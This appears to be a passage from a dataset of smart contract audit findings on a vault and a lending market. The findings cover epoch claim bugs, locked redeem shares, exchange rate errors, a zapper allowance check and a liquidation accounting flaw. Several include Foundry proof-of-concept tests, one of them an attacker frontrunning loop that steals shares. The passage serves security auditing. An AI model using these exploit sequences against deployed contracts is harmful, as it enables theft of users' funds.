Both claim functions fail to validate if the epoch for the request has been already settled, leading to loss of funds when claiming requests for the current epoch. The issue is worsened as `claimAndRequestDeposit()` can be used to claim a deposit on behalf of any account, allowing an attacker to wipe other's requests.\\nWhen the vault is closed, users can request a deposit, transfer assets and later claim shares, or request a redemption, transfer shares and later redeem assets. Both of these processes store the assets or shares, and later convert these when the epoch is settled. For deposits, the core of the implementation is given by _claimDeposit():\\n```\\nfunction _claimDeposit(\\n address owner,\\n address receiver\\n)\\n internal\\n returns (uint256 shares)\\n{\\n shares = previewClaimDeposit(owner);\\n\\n uint256 lastRequestId = lastDepositRequestId[owner];\\n uint256 assets = epochs[lastRequestId].depositRequestBalance[owner];\\n epochs[lastRequestId].depositRequestBalance[owner] = 0;\\n _update(address(claimableSilo), receiver, shares);\\n emit ClaimDeposit(lastRequestId, owner, receiver, assets, shares);\\n}\\n\\nfunction previewClaimDeposit(address owner) public view returns (uint256) {\\n uint256 lastRequestId = lastDepositRequestId[owner];\\n uint256 assets = epochs[lastRequestId].depositRequestBalance[owner];\\n return _convertToShares(assets, lastRequestId, Math.Rounding.Floor);\\n}\\n\\nfunction _convertToShares(\\n uint256 assets,\\n uint256 requestId,\\n Math.Rounding rounding\\n)\\n internal\\n view\\n returns (uint256)\\n{\\n if (isCurrentEpoch(requestId)) {\\n return 0;\\n }\\n uint256 totalAssets =\\n epochs[requestId].totalAssetsSnapshotForDeposit + 1;\\n uint256 totalSupply =\\n epochs[requestId].totalSupplySnapshotForDeposit + 1;\\n\\n return assets.mulDiv(totalSupply, totalAssets, rounding);\\n}\\n```\\n\\nAnd for redemptions in _claimRedeem():\\n```\\nfunction _claimRedeem(\\n address owner,\\n address receiver\\n)\\n internal\\n whenNotPaused\\n returns (uint256 assets)\\n{\\n assets = previewClaimRedeem(owner);\\n uint256 lastRequestId = lastRedeemRequestId[owner];\\n uint256 shares = epochs[lastRequestId].redeemRequestBalance[owner];\\n epochs[lastRequestId].redeemRequestBalance[owner] = 0;\\n _asset.safeTransferFrom(address(claimableSilo), address(this), assets);\\n _asset.transfer(receiver, assets);\\n emit ClaimRedeem(lastRequestId, owner, receiver, assets, shares);\\n}\\n\\nfunction previewClaimRedeem(address owner) public view returns (uint256) {\\n uint256 lastRequestId = lastRedeemRequestId[owner];\\n uint256 shares = epochs[lastRequestId].redeemRequestBalance[owner];\\n return _convertToAssets(shares, lastRequestId, Math.Rounding.Floor);\\n}\\n\\nfunction _convertToAssets(\\n uint256 shares,\\n uint256 requestId,\\n Math.Rounding rounding\\n)\\n internal\\n view\\n returns (uint256)\\n{\\n if (isCurrentEpoch(requestId)) {\\n return 0;\\n }\\n uint256 totalAssets = epochs[requestId].totalAssetsSnapshotForRedeem + 1;\\n uint256 totalSupply = epochs[requestId].totalSupplySnapshotForRedeem + 1;\\n\\n return shares.mulDiv(totalAssets, totalSupply, rounding);\\n}\\n```\\n\\nNote that in both cases the "preview" functions are used to convert and calculate the amounts owed to the user: `_convertToShares()` and `_convertToAssets()` use the settled values stored in `epochs[requestId]` to convert between assets and shares.\\nHowever, there is no validation to check if the claiming is done for the current unsettled epoch. If a user claims a deposit or redemption during the same epoch it has been requested, the values stored in `epochs[epochId]` will be uninitialized, which means that `_convertToShares()` and `_convertToAssets()` will use zero values leading to zero results too. The claiming process will succeed, but since the converted amounts are zero, the users will always get zero assets or shares.\\nThis is even worsened by the fact that `claimAndRequestDeposit()` can be used to claim a deposit on behalf of any `account`. An attacker can wipe any requested deposit from an arbitrary `account` by simply calling `claimAndRequestDeposit(0, `account`, "")`. This will internally execute `_claimDeposit(account, account)`, which will trigger the described issue.\\nThe following proof of concept demonstrates the scenario in which a user claims their own deposit during the current epoch:\\n```\\nfunction test_ClaimSameEpochLossOfFunds_Scenario_A() public {\\n asset.mint(alice, 1_000e18);\\n\\n vm.prank(alice);\\n vault.deposit(500e18, alice);\\n\\n // vault is closed\\n vm.prank(owner);\\n vault.close();\\n\\n // alice requests a deposit\\n vm.prank(alice);\\n vault.requestDeposit(500e18, alice, alice, "");\\n\\n // the request is successfully created\\n assertEq(vault.pendingDepositRequest(alice), 500e18);\\n\\n // now alice claims the deposit while vault is still open\\n vm.prank(alice);\\n vault.claimDeposit(alice);\\n\\n // request is gone\\n assertEq(vault.pendingDepositRequest(alice), 0);\\n}\\n```\\n\\nThis other proof of concept illustrates the scenario in which an attacker calls `claimAndRequestDeposit()` to wipe the deposit of another account.\\n```\\nfunction test_ClaimSameEpochLossOfFunds_Scenario_B() public {\\n asset.mint(alice, 1_000e18);\\n\\n vm.prank(alice);\\n vault.deposit(500e18, alice);\\n\\n // vault is closed\\n vm.prank(owner);\\n vault.close();\\n\\n // alice requests a deposit\\n vm.prank(alice);\\n vault.requestDeposit(500e18, alice, alice, "");\\n\\n // the request is successfully created\\n assertEq(vault.pendingDepositRequest(alice), 500e18);\\n\\n // bob can issue a claim for alice through claimAndRequestDeposit()\\n vm.prank(bob);\\n vault.claimAndRequestDeposit(0, alice, "");\\n\\n // request is gone\\n assertEq(vault.pendingDepositRequest(alice), 0);\\n}\\n```\\n
Check that the epoch associated with the request is not the current epoch.\\n```\\n function _claimDeposit(\\n address owner,\\n address receiver\\n )\\n internal\\n returns (uint256 shares)\\n {\\n// Add the line below\\n uint256 lastRequestId = lastDepositRequestId[owner];\\n// Add the line below\\n if (isCurrentEpoch(lastRequestId)) revert();\\n \\n shares = previewClaimDeposit(owner);\\n\\n// Remove the line below\\n uint256 lastRequestId = lastDepositRequestId[owner];\\n uint256 assets = epochs[lastRequestId].depositRequestBalance[owner];\\n epochs[lastRequestId].depositRequestBalance[owner] = 0;\\n _update(address(claimableSilo), receiver, shares);\\n emit ClaimDeposit(lastRequestId, owner, receiver, assets, shares);\\n }\\n```\\n\\n```\\n function _claimRedeem(\\n address owner,\\n address receiver\\n )\\n internal\\n whenNotPaused\\n returns (uint256 assets)\\n {\\n// Add the line below\\n uint256 lastRequestId = lastRedeemRequestId[owner];\\n// Add the line below\\n if (isCurrentEpoch(lastRequestId)) revert();\\n \\n assets = previewClaimRedeem(owner);\\n// Remove the line below\\n uint256 lastRequestId = lastRedeemRequestId[owner];\\n uint256 shares = epochs[lastRequestId].redeemRequestBalance[owner];\\n epochs[lastRequestId].redeemRequestBalance[owner] = 0;\\n _asset.safeTransferFrom(address(claimableSilo), address(this), assets);\\n _asset.transfer(receiver, assets);\\n emit ClaimRedeem(lastRequestId, owner, receiver, assets, shares);\\n }\\n```\\n
CRITICAL. Requests can be wiped by executing the claim in an unsettled epoch, leading to loss of funds. The issue can also be triggered for any arbitrary account by using `claimAndRequestDeposit()`.
```\\nfunction _claimDeposit(\\n address owner,\\n address receiver\\n)\\n internal\\n returns (uint256 shares)\\n{\\n shares = previewClaimDeposit(owner);\\n\\n uint256 lastRequestId = lastDepositRequestId[owner];\\n uint256 assets = epochs[lastRequestId].depositRequestBalance[owner];\\n epochs[lastRequestId].depositRequestBalance[owner] = 0;\\n _update(address(claimableSilo), receiver, shares);\\n emit ClaimDeposit(lastRequestId, owner, receiver, assets, shares);\\n}\\n\\nfunction previewClaimDeposit(address owner) public view returns (uint256) {\\n uint256 lastRequestId = lastDepositRequestId[owner];\\n uint256 assets = epochs[lastRequestId].depositRequestBalance[owner];\\n return _convertToShares(assets, lastRequestId, Math.Rounding.Floor);\\n}\\n\\nfunction _convertToShares(\\n uint256 assets,\\n uint256 requestId,\\n Math.Rounding rounding\\n)\\n internal\\n view\\n returns (uint256)\\n{\\n if (isCurrentEpoch(requestId)) {\\n return 0;\\n }\\n uint256 totalAssets =\\n epochs[requestId].totalAssetsSnapshotForDeposit + 1;\\n uint256 totalSupply =\\n epochs[requestId].totalSupplySnapshotForDeposit + 1;\\n\\n return assets.mulDiv(totalSupply, totalAssets, rounding);\\n}\\n```\\n
Calling `requestRedeem` with `_msgSender() != owner` will lead to user's shares being locked in the vault forever
high
The `requestRedeem` function in `AsyncSynthVault.sol` can be invoked by a user on behalf of another user, referred to as 'owner', provided that the user has been granted sufficient allowance by the 'owner'. However, this action results in a complete loss of balance.\\nThe `_createRedeemRequest` function contains a discrepancy; it fails to update the `lastRedeemRequestId` for the user eligible to claim the shares upon maturity. Instead, it updates this identifier for the 'owner' who delegated their shares to the user. As a result, the shares become permanently locked in the vault, rendering them unclaimable by either the 'owner' or the user.\\nThis issue unfolds as follows:\\nThe 'owner' deposits tokens into the vault, receiving vault `shares` in return.\\nThe 'owner' then delegates the allowance of all their vault `shares` to another user.\\nWhen `epochId == 1`, this user executes The `requestRedeem` , specifying the 'owner''s address as `owner`, the user's address as `receiver`, and the 'owner''s share balance as `shares`.\\nThe internal function `_createRedeemRequest` is invoked, incrementing `epochs[epochId].redeemRequestBalance[receiver]` by the amount of `shares`, and setting `lastRedeemRequestId[owner] = epochId`.\\nAt `epochId == 2`, the user calls `claimRedeem`, which in turn calls the internal function `_claimRedeem`, with `owner` set to `_msgSender()` (i.e., the user's address) and `receiver` also set to the user's address.\\nIn this scenario, `lastRequestId` remains zero because `lastRedeemRequestId[owner] == 0` (here, `owner` refers to the user's address). Consequently, `epochs[lastRequestId].redeemRequestBalance[owner]` is also zero. Therefore, no `shares` are minted to the user.\\nProof of Code :\\nThe following test demonstrates the claim made above :\\n```\\nfunction test_poc() external {\\n // set token balances\\n deal(vaultTested.asset(), user1.addr, 20); // owner\\n\\n vm.startPrank(user1.addr);\\n IERC20Metadata(vaultTested.asset()).approve(address(vaultTested), 20);\\n // owner deposits tokens when vault is open and receives vault shares\\n vaultTested.deposit(20, user1.addr);\\n // owner delegates shares balance to user\\n IERC20Metadata(address(vaultTested)).approve(\\n user2.addr,\\n vaultTested.balanceOf(user1.addr)\\n );\\n vm.stopPrank();\\n\\n // vault is closed\\n vm.prank(vaultTested.owner());\\n vaultTested.close();\\n\\n // epoch = 1\\n vm.startPrank(user2.addr);\\n // user requests a redeem on behlaf of owner\\n vaultTested.requestRedeem(\\n vaultTested.balanceOf(user1.addr),\\n user2.addr,\\n user1.addr,\\n ""\\n );\\n // user checks the pending redeem request amount\\n assertEq(vaultTested.pendingRedeemRequest(user2.addr), 20);\\n vm.stopPrank();\\n\\n vm.startPrank(vaultTested.owner());\\n IERC20Metadata(vaultTested.asset()).approve(\\n address(vaultTested),\\n type(uint256).max\\n );\\n vaultTested.settle(23); // an epoch goes by\\n vm.stopPrank();\\n\\n // epoch = 2\\n\\n vm.startPrank(user2.addr);\\n // user tries to claim the redeem\\n vaultTested.claimRedeem(user2.addr);\\n assertEq(IERC20Metadata(vaultTested.asset()).balanceOf(user2.addr), 0);\\n // however, token balance of user is still empty\\n vm.stopPrank();\\n\\n vm.startPrank(user1.addr);\\n // owner also tries to claim the redeem\\n vaultTested.claimRedeem(user1.addr);\\n assertEq(IERC20Metadata(vaultTested.asset()).balanceOf(user1.addr), 0);\\n // however, token balance of owner is still empty\\n vm.stopPrank();\\n\\n // all the balances of owner and user are zero, indicating loss of funds\\n assertEq(vaultTested.balanceOf(user1.addr), 0);\\n assertEq(IERC20Metadata(vaultTested.asset()).balanceOf(user1.addr), 0);\\n assertEq(vaultTested.balanceOf(user2.addr), 0);\\n assertEq(IERC20Metadata(vaultTested.asset()).balanceOf(user2.addr), 0);\\n }\\n```\\n\\nTo run the test :\\nCopy the above code and paste it into `TestClaimDeposit.t.sol`\\nRun `forge test --match-test test_poc --ffi`
Modify `_createRedeemRequest` as follows :\\n```\\n// Remove the line below\\n lastRedeemRequestId[owner] = epochId;\\n// Add the line below\\n lastRedeemRequestid[receiver] = epochId;\\n```\\n
The shares are locked in the vault forever with no method for recovery by the user or the 'owner'.
```\\nfunction test_poc() external {\\n // set token balances\\n deal(vaultTested.asset(), user1.addr, 20); // owner\\n\\n vm.startPrank(user1.addr);\\n IERC20Metadata(vaultTested.asset()).approve(address(vaultTested), 20);\\n // owner deposits tokens when vault is open and receives vault shares\\n vaultTested.deposit(20, user1.addr);\\n // owner delegates shares balance to user\\n IERC20Metadata(address(vaultTested)).approve(\\n user2.addr,\\n vaultTested.balanceOf(user1.addr)\\n );\\n vm.stopPrank();\\n\\n // vault is closed\\n vm.prank(vaultTested.owner());\\n vaultTested.close();\\n\\n // epoch = 1\\n vm.startPrank(user2.addr);\\n // user requests a redeem on behlaf of owner\\n vaultTested.requestRedeem(\\n vaultTested.balanceOf(user1.addr),\\n user2.addr,\\n user1.addr,\\n ""\\n );\\n // user checks the pending redeem request amount\\n assertEq(vaultTested.pendingRedeemRequest(user2.addr), 20);\\n vm.stopPrank();\\n\\n vm.startPrank(vaultTested.owner());\\n IERC20Metadata(vaultTested.asset()).approve(\\n address(vaultTested),\\n type(uint256).max\\n );\\n vaultTested.settle(23); // an epoch goes by\\n vm.stopPrank();\\n\\n // epoch = 2\\n\\n vm.startPrank(user2.addr);\\n // user tries to claim the redeem\\n vaultTested.claimRedeem(user2.addr);\\n assertEq(IERC20Metadata(vaultTested.asset()).balanceOf(user2.addr), 0);\\n // however, token balance of user is still empty\\n vm.stopPrank();\\n\\n vm.startPrank(user1.addr);\\n // owner also tries to claim the redeem\\n vaultTested.claimRedeem(user1.addr);\\n assertEq(IERC20Metadata(vaultTested.asset()).balanceOf(user1.addr), 0);\\n // however, token balance of owner is still empty\\n vm.stopPrank();\\n\\n // all the balances of owner and user are zero, indicating loss of funds\\n assertEq(vaultTested.balanceOf(user1.addr), 0);\\n assertEq(IERC20Metadata(vaultTested.asset()).balanceOf(user1.addr), 0);\\n assertEq(vaultTested.balanceOf(user2.addr), 0);\\n assertEq(IERC20Metadata(vaultTested.asset()).balanceOf(user2.addr), 0);\\n }\\n```\\n
Exchange rate is calculated incorrectly when the vault is closed, potentially leading to funds being stolen
high
The exchange ratio between shares and assets is calculated incorrectly when the vault is closed. This can cause accounting inconsistencies, funds being stolen and users being unable to redeem shares.\\nThe functions AsyncSynthVault::_convertToAssets and AsyncSynthVault::_convertToShares both add `1` to the epoch cached variables `totalAssetsSnapshotForDeposit`, `totalSupplySnapshotForDeposit`, `totalAssetsSnapshotForRedeem` and `totalSupplySnapshotForRedeem`.\\nThis is incorrect because the function previewSettle, used in _settle(), already adds `1` to the variables:\\n```\\n// rest of code\\nuint256 totalAssetsSnapshotForDeposit = _lastSavedBalance + 1;\\nuint256 totalSupplySnapshotForDeposit = totalSupply + 1;\\n// rest of code\\nuint256 totalAssetsSnapshotForRedeem = _lastSavedBalance + pendingDeposit + 1;\\nuint256 totalSupplySnapshotForRedeem = totalSupply + sharesToMint + 1;\\n// rest of code\\n```\\n\\nThis leads to accounting inconsistencies between depositing/redeeming when a vault is closed and depositing/redeeming when a vault is open whenever the exchange ratio assets/shares is not exactly 1:1.\\nIf a share is worth more than one asset:\\nUsers that will request a deposit while the vault is closed will receive more shares than they should\\nUsers that will request a redeem while the vault is closed will receive less assets than they should\\nPOC\\nThis can be taken advantage of by an attacker by doing the following:\\nThe attacker monitors the mempool for a vault deployment.\\nBefore the vault is deployed the attacker transfers to the vault some of the vault underlying asset (donation). This increases the value of one share.\\nThe protocol team initializes the vault and adds the bootstrap liquidity.\\nUsers use the protocol normally and deposits some assets.\\nThe vault gets closed by the protocol team and the funds invested.\\nSome users request a deposit while the vault is closed.\\nThe attacker monitors the mempool to know when the vault will be open again.\\nRight before the vault is opened, the attacker performs multiple deposit requests with different accounts. For each account he deposits the minimum amount of assets required to receive 1 share.\\nThe vault opens.\\nThe attacker claims all of the deposits with every account and then redeems the shares immediately for profit.\\nThis will "steal" shares of other users (point 6) from the claimable silo because the protocol will give the attacker more shares than it should. The attacker will profit and some users won't be able to claim their shares.\\nAdd imports to TestClaimRedeem.t.sol:\\n```\\nimport { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";\\n```\\n\\nand copy-paste:\\n```\\nfunction test_attackerProfitsViaRequestingDeposits() external {\\n address attacker = makeAddr("attacker");\\n address protocolUsers = makeAddr("alice");\\n address vaultOwner = vaultTested.owner();\\n\\n uint256 donation = 1e18 - 1;\\n uint256 protocolUsersDeposit = 10e18 + 15e18;\\n uint256 protocolTeamBootstrapDeposit = 1e18;\\n\\n IERC20 asset = IERC20(vaultTested.asset());\\n deal(address(asset), protocolUsers, protocolUsersDeposit);\\n deal(address(asset), attacker, donation);\\n deal(address(asset), vaultOwner, protocolTeamBootstrapDeposit);\\n\\n vm.prank(vaultOwner);\\n asset.approve(address(vaultTested), type(uint256).max);\\n\\n vm.prank(protocolUsers);\\n asset.approve(address(vaultTested), type(uint256).max);\\n\\n vm.prank(attacker);\\n asset.approve(address(vaultTested), type(uint256).max);\\n\\n //-> Attacker donates `1e18 - 1` assets, this can be done before the vault is even deployed\\n vm.prank(attacker);\\n asset.transfer(address(vaultTested), donation);\\n\\n //-> Protocol team bootstraps the vault with `1e18` of assets\\n vm.prank(vaultOwner);\\n vaultTested.deposit(protocolTeamBootstrapDeposit, vaultOwner);\\n \\n //-> Users deposit `10e18` of liquidity in the vault\\n vm.prank(protocolUsers);\\n vaultTested.deposit(10e18, protocolUsers);\\n\\n //-> Vault gets closed\\n vm.prank(vaultOwner);\\n vaultTested.close();\\n\\n //-> Users request deposits for `15e18` assets\\n vm.prank(protocolUsers);\\n vaultTested.requestDeposit(15e18, protocolUsers, protocolUsers, "");\\n\\n //-> The attacker frontruns the call to `open()` and knows that:\\n //- The current epoch cached `totalSupply` of shares will be `vaultTested.totalSupply()` + 1 + 1\\n //- The current epoch cached `totalAssets` will be 12e18 + 1 + 1\\n uint256 totalSupplyCachedOnOpen = vaultTested.totalSupply() + 1 + 1; //Current supply of shares, plus 1 used as virtual share, plus 1 added by `_convertToAssets`\\n uint256 totalAssetsCachedOnOpen = vaultTested.lastSavedBalance() + 1 + 1; //Total assets passed as paremeter to `open`, plus 1 used as virtual share, plus 1 added by `_convertToAssets`\\n uint256 minToDepositToGetOneShare = totalAssetsCachedOnOpen / totalSupplyCachedOnOpen;\\n\\n //-> Attacker frontruns the call to `open()` by requesting a deposit with multiple fresh accounts\\n uint256 totalDeposited = 0;\\n for(uint256 i = 0; i < 30; i++) {\\n address attackerEOA = address(uint160(i * 31000 + 49*49)); //Random address that does not conflict with existing ones\\n deal(address(asset), attackerEOA, minToDepositToGetOneShare);\\n vm.startPrank(attackerEOA);\\n asset.approve(address(vaultTested), type(uint256).max);\\n vaultTested.requestDeposit(minToDepositToGetOneShare, attackerEOA, attackerEOA, "");\\n vm.stopPrank();\\n totalDeposited += minToDepositToGetOneShare;\\n }\\n\\n //->Vault gets opened again with 0 profit and 0 losses (for simplicity)\\n vm.startPrank(vaultOwner);\\n vaultTested.open(vaultTested.lastSavedBalance());\\n vm.stopPrank();\\n\\n //-> Attacker claims his deposits and withdraws them immediately for profit\\n uint256 totalRedeemed = 0;\\n for(uint256 i = 0; i < 30; i++) {\\n address attackerEOA = address(uint160(i * 31000 + 49*49)); //Random address that does not conflict with existing ones\\n vm.startPrank(attackerEOA);\\n vaultTested.claimDeposit(attackerEOA);\\n uint256 assets = vaultTested.redeem(vaultTested.balanceOf(attackerEOA), attackerEOA, attackerEOA);\\n vm.stopPrank();\\n totalRedeemed += assets;\\n }\\n\\n //->❌ Attacker is in profit\\n assertGt(totalRedeemed, totalDeposited + donation);\\n}\\n```\\n
In the functions AsyncSynthVault::_convertToAssets and AsyncSynthVault::_convertToShares:\\nReturn `0` if `requestId == 0`\\nDon't add `1` to the two cached variables\\nIt's also a good idea to perform the initial bootstrapping deposit in the initialize function (as suggested in another finding) and require that the vault contains `0` assets when the first deposit is performed.
When the ratio between shares and assets is not 1:1 the protocol calculates the exchange rate between assets and shares inconsitently. This is an issue by itself and can lead to loss of funds and users not being able to claim shares. It can also be taken advantage of by an attacker to steal shares from the claimable silo.\\nNote that the "donation" done initially is not akin to an "inflation" attack because the attacker is not required to mint any share.
```\\n// rest of code\\nuint256 totalAssetsSnapshotForDeposit = _lastSavedBalance + 1;\\nuint256 totalSupplySnapshotForDeposit = totalSupply + 1;\\n// rest of code\\nuint256 totalAssetsSnapshotForRedeem = _lastSavedBalance + pendingDeposit + 1;\\nuint256 totalSupplySnapshotForRedeem = totalSupply + sharesToMint + 1;\\n// rest of code\\n```\\n
The `_zapIn` function may unexpectedly revert due to the incorrect implementation of `_transferTokenInAndApprove`
medium
The `_transferTokenInAndApprove` function should approve the `router` on behalf of the VaultZapper contract. However, it checks the allowance from `msgSender` to the `router`, rather than the VaultZapper. This potentially results in the VaultZapper not approving the `router` and causing unexpected reverting.\\nThe allowance check in the `_transferTokenInAndApprove` function should verify that `address(this)` has approved sufficient amount of `tokenIn` to the `router`. However, it currently checks the allowance of `_msgSender()`, which is unnecessary and may cause transaction reverting if `_msgSender` had previously approved the `router`.\\n```\\n function _transferTokenInAndApprove(\\n address router,\\n IERC20 tokenIn,\\n uint256 amount\\n )\\n internal\\n {\\n tokenIn.safeTransferFrom(_msgSender(), address(this), amount);\\n//@ The check of allowance is useless, we should check the allowance from address(this) rather than the msgSender\\n if (tokenIn.allowance(_msgSender(), router) < amount) {\\n tokenIn.forceApprove(router, amount);\\n }\\n }\\n```\\n\\nPOC\\nApply the patch to `asynchronous-vault/test/Zapper/ZapperDeposit.t.sol` to add the test case and run it with `forge test --match-test test_zapIn --ffi`.\\n```\\ndiff --git a/asynchronous-vault/test/Zapper/ZapperDeposit.t.sol b/asynchronous-vault/test/Zapper/ZapperDeposit.t.sol\\nindex 9083127..ff11b56 100644\\n--- a/asynchronous-vault/test/Zapper/ZapperDeposit.t.sol\\n// Add the line below\\n// Add the line below\\n// Add the line below\\n b/asynchronous-vault/test/Zapper/ZapperDeposit.t.sol\\n@@ -17,6 // Add the line below\\n17,25 @@ contract VaultZapperDeposit is OffChainCalls {\\n zapper = new VaultZapper();\\n }\\n\\n// Add the line below\\n function test_zapIn() public {\\n// Add the line below\\n Swap memory params =\\n// Add the line below\\n Swap(_router, _USDC, _WSTETH, 1500 * 1e6, 1, address(0), 20);\\n// Add the line below\\n _setUpVaultAndZapper(_WSTETH);\\n// Add the line below\\n\\n// Add the line below\\n IERC4626 vault = _vault;\\n// Add the line below\\n bytes memory swapData =\\n// Add the line below\\n _getSwapData(address(zapper), address(zapper), params);\\n// Add the line below\\n\\n// Add the line below\\n _getTokenIn(params);\\n// Add the line below\\n\\n// Add the line below\\n // If the msgSender() happend to approve the SwapRouter before, then the zap will always revert\\n// Add the line below\\n IERC20(params.tokenIn).approve(address(params.router), params.amount);\\n// Add the line below\\n zapper.zapAndDeposit(\\n// Add the line below\\n params.tokenIn, vault, params.router, params.amount, swapData\\n// Add the line below\\n );\\n// Add the line below\\n\\n// Add the line below\\n }\\n// Add the line below\\n\\n //// test_zapAndDeposit ////\\n function test_zapAndDepositUsdcWSTETH() public {\\n Swap memory usdcToWstEth =\\n```\\n\\nResult:\\n```\\nRan 1 test for test/Zapper/ZapperDeposit.t.sol:VaultZapperDeposit\\n[FAIL. Reason: SwapFailed("\\u{8}�y�\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0 \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0(ERC20: transfer amount exceeds allowance\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0")] test_zapIn() (gas: 4948462)\\nSuite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 20.84s (18.74s CPU time)\\n\\nRan 1 test suite in 22.40s (20.84s CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)\\n\\nFailing tests:\\nEncountered 1 failing test in test/Zapper/ZapperDeposit.t.sol:VaultZapperDeposit\\n[FAIL. Reason: SwapFailed("\\u{8}�y�\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0 \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0(ERC20: transfer amount exceeds allowance\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0")] test_zapIn() (gas: 4948462)\\n```\\n
Fix the issue:\\n```\\ndiff // Remove the line below\\n// Remove the line below\\ngit a/asynchronous// Remove the line below\\nvault/src/VaultZapper.sol b/asynchronous// Remove the line below\\nvault/src/VaultZapper.sol\\nindex 9943535..9cf6df9 100644\\n// Remove the line below\\n// Remove the line below\\n// Remove the line below\\n a/asynchronous// Remove the line below\\nvault/src/VaultZapper.sol\\n// Add the line below\\n// Add the line below\\n// Add the line below\\n b/asynchronous// Remove the line below\\nvault/src/VaultZapper.sol\\n@@ // Remove the line below\\n165,7 // Add the line below\\n165,7 @@ contract VaultZapper is Ownable2Step, Pausable {\\n internal\\n {\\n tokenIn.safeTransferFrom(_msgSender(), address(this), amount);\\n// Remove the line below\\n if (tokenIn.allowance(_msgSender(), router) < amount) {\\n// Add the line below\\n if (tokenIn.allowance(address(this), router) < amount) {\\n tokenIn.forceApprove(router, amount);\\n }\\n }\\n```\\n
This issue could lead to transaction reverting when users interact with the contract normally, thereby affecting the contract's regular functionality.
```\\n function _transferTokenInAndApprove(\\n address router,\\n IERC20 tokenIn,\\n uint256 amount\\n )\\n internal\\n {\\n tokenIn.safeTransferFrom(_msgSender(), address(this), amount);\\n//@ The check of allowance is useless, we should check the allowance from address(this) rather than the msgSender\\n if (tokenIn.allowance(_msgSender(), router) < amount) {\\n tokenIn.forceApprove(router, amount);\\n }\\n }\\n```\\n
Unupdated totalBorrow After BigBang Liquidation
high
During the liquidation process, BigBang only reduces the user's `userBorrowPart[user]`, but fails to update the global `totalBorrow`. Consequently, all subsequent debt calculations are incorrect.\\nCurrently, the implementation relies on the `BBLiquidation._updateBorrowAndCollateralShare()` method to calculate user debt repayment and collateral collection. The code snippet is as follows:\\n```\\n function _liquidateUser(\\n address user,\\n uint256 maxBorrowPart,\\n IMarketLiquidatorReceiver _liquidatorReceiver,\\n bytes calldata _liquidatorReceiverData,\\n uint256 _exchangeRate,\\n uint256 minLiquidationBonus\\n ) private {\\n uint256 callerReward = _getCallerReward(user, _exchangeRate);\\n\\n (uint256 borrowAmount,, uint256 collateralShare) =\\n _updateBorrowAndCollateralShare(user, maxBorrowPart, minLiquidationBonus, _exchangeRate);\\n totalCollateralShare = totalCollateralShare > collateralShare ? totalCollateralShare - collateralShare : 0;\\n uint256 borrowShare = yieldBox.toShare(assetId, borrowAmount, true);\\n\\n (uint256 returnedShare,) =\\n _swapCollateralWithAsset(collateralShare, _liquidatorReceiver, _liquidatorReceiverData);\\n if (returnedShare < borrowShare) revert AmountNotValid();\\n\\n (uint256 feeShare, uint256 callerShare) = _extractLiquidationFees(returnedShare, borrowShare, callerReward);\\n\\n IUsdo(address(asset)).burn(address(this), borrowAmount);\\n\\n address[] memory _users = new address[](1);\\n _users[0] = user;\\n emit Liquidated(msg.sender, _users, callerShare, feeShare, borrowAmount, collateralShare);\\n }\\n\\n function _updateBorrowAndCollateralShare(\\n address user,\\n uint256 maxBorrowPart,\\n uint256 minLiquidationBonus, // min liquidation bonus to accept (default 0)\\n uint256 _exchangeRate\\n ) private returns (uint256 borrowAmount, uint256 borrowPart, uint256 collateralShare) {\\n if (_exchangeRate == 0) revert ExchangeRateNotValid();\\n\\n // get collateral amount in asset's value\\n uint256 collateralPartInAsset = (\\n yieldBox.toAmount(collateralId, userCollateralShare[user], false) * EXCHANGE_RATE_PRECISION\\n ) / _exchangeRate;\\n\\n // compute closing factor (liquidatable amount)\\n uint256 borrowPartWithBonus =\\n computeClosingFactor(userBorrowPart[user], collateralPartInAsset, FEE_PRECISION_DECIMALS);\\n\\n // limit liquidable amount before bonus to the current debt\\n uint256 userTotalBorrowAmount = totalBorrow.toElastic(userBorrowPart[user], true);\\n borrowPartWithBonus = borrowPartWithBonus > userTotalBorrowAmount ? userTotalBorrowAmount : borrowPartWithBonus;\\n\\n // check the amount to be repaid versus liquidator supplied limit\\n borrowPartWithBonus = borrowPartWithBonus > maxBorrowPart ? maxBorrowPart : borrowPartWithBonus;\\n borrowAmount = borrowPartWithBonus;\\n\\n // compute part units, preventing rounding dust when liquidation is full\\n borrowPart = borrowAmount == userTotalBorrowAmount\\n ? userBorrowPart[user]\\n : totalBorrow.toBase(borrowPartWithBonus, false);\\n if (borrowPart == 0) revert Solvent();\\n\\n if (liquidationBonusAmount > 0) {\\n borrowPartWithBonus = borrowPartWithBonus + (borrowPartWithBonus * liquidationBonusAmount) / FEE_PRECISION;\\n }\\n\\n if (collateralPartInAsset < borrowPartWithBonus) {\\n if (collateralPartInAsset <= userTotalBorrowAmount) {\\n revert BadDebt();\\n }\\n // If current debt is covered by collateral fully\\n // then there is some liquidation bonus,\\n // so liquidation can proceed if liquidator's minimum is met\\n if (minLiquidationBonus > 0) {\\n // `collateralPartInAsset > borrowAmount` as `borrowAmount <= userTotalBorrowAmount`\\n uint256 effectiveBonus = ((collateralPartInAsset - borrowAmount) * FEE_PRECISION) / borrowAmount;\\n if (effectiveBonus < minLiquidationBonus) {\\n revert InsufficientLiquidationBonus();\\n }\\n collateralShare = userCollateralShare[user];\\n } else {\\n revert InsufficientLiquidationBonus();\\n }\\n } else {\\n collateralShare =\\n yieldBox.toShare(collateralId, (borrowPartWithBonus * _exchangeRate) / EXCHANGE_RATE_PRECISION, false);\\n if (collateralShare > userCollateralShare[user]) {\\n revert 